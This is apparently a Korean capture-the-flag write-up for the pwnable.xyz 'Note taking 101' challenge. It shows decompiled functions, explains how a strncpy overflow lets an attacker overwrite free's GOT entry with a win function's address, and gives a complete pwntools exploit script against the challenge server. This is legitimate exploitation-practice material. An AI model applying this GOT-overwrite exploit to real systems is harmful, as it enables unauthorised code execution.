728x90

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v4 = read_int32();
        if ( v4 != 1 )
          break;
        edit_note((__int64)v3, (__int64)argv);
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;

 

함수를 보면 무한 루프를 통하여 1번, 2번, 그 외 상황으로 나뉜다. 

우선 가장 최종 목표는 cat flag를 하는 win함수를 실행하는 것이고, main문엔 win함수를 선언하는 부분이 없으므로 조작을 해주어서 win함수의 주소인 40093c 로 이동해야 한다. 

함수의 정상적인 흐름은 edit_note ~> edit_desc 이지 않을까 라는 생각을 해본다. 써라고 만들었겟지 뭐

void __fastcall edit_note(__int64 a1, __int64 a2)
{
  int v2; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ", a2);
  v2 = read_int32();
  buf = malloc(v2);
  printf("note: ");
  read(0, buf, v2);
  strncpy(s, (const char *)buf, v2);
  free(buf);
  }

 edit_note 함수이다. 

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

edit_desc 함수이다.  n의 buf와 d의 buf는 당연히 다르다.

 

 

먼저 함수의 흐름? 을 보면

첫 번째 함수 edit_note를 보면 길이를 정할때 v2에 입력받은 후, n_buf에 v2만큼 동적할당을 한다. 그리고 설정한 길이 v2만큼 n_buf에 입력을 받는다. 다음으로, s에 n_buf에 입력된 값을 v2만큼 복사한다.  그리고 동적할당을 해제한다.

두 번째 함수 edit_desc를 보면 d_buf에 32바이트만큼 입력을 받는다.

 

여기서 사용할 방법은 변수를 함수의 got로 변조하는 방법이다.  (got, plt는 블로그에 따로 쓸 예정 __아직 fsb도 쓰는중..)

우선 ida로 메모리를 보면 

s와 d_buf의 차이가 32바이트, 가깝다.

n_buf에 32바이트를 넣은 다음에 다른 함수의 got를 넣어주면, s에 복사되면서 overflow되고, 다른함수의 got가 d_buf에 들어갈 것이다. 그러면 이제 '다른 함수'가 실행되면, d_buf가 노출될 것이다.

 

그러면 이제 desc함수에서 d_buf에 내가 가고싶은 win함수의 주소를 넣어주면 된다.

여기서 사용할 '다른 함수'를 골라주자. 구조를 보고 적당한걸 고르면 된다.

난 free로 하겠다. (601210)

 

from pwn import *
p = remote("svc.pwnable.xyz", 30016)

p.recv(1024)
p.sendline("1")

p.recv(1024)
p.sendline("60")

p.recv(1024)
p.sendline("a"*32 + p64(0x601210))

p.recv(1024)
p.sendline("2")

p.recv(1024)
p.sendline(p64(0x40093c))

p.recv(1024)
p.sendline("1")

p.recv(1024)
p.sendline("a")

print p.recv(1024)

p.interactive()

  

 

/////////////// 지금 설명에 부족한 부분이 있어 나중에 GOT overwrite? 쓸때 더 보강할 예정 :ㅇ

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09

+ Recent posts